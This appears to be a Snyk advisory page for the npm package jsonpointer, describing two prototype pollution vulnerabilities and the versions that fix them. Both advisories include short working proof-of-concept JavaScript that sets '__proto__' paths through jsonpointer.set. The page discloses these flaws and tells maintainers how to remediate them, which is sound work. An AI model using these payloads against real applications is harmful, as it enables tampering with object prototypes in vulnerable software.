jsonpointer@1.1.0 vulnerabilities

Simple JSON Addressing.

  • latest version

    5.0.1

  • latest non vulnerable version

  • first published

    13 years ago

  • latest version published

    2 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the jsonpointer package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    jsonpointer is a Simple JSON Addressing.

    Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.

    PoC

    const jsonpointer = require('jsonpointer');
    
    // jsonpointer.set({}, ['__proto__', '__proto__', 'polluted'], 'yes');
    // console.log(polluted); // ReferenceError: polluted is not defined
    
    jsonpointer.set({}, [['__proto__'], ['__proto__'], 'polluted'], 'yes');
    console.log(polluted); // yes
    

    How to fix Prototype Pollution?

    Upgrade jsonpointer to version 5.0.0 or higher.

    <5.0.0
    • C
    Prototype Pollution

    jsonpointer is a Simple JSON Addressing.

    Affected versions of this package are vulnerable to Prototype Pollution via the set function.

    POC by NerdJS

    const jsonpointer = require('jsonpointer');
    jsonpointer.set({}, '/__proto__/polluted', true);
    console.log(polluted);
    

    How to fix Prototype Pollution?

    Upgrade jsonpointer to version 4.1.0 or higher.

    <4.1.0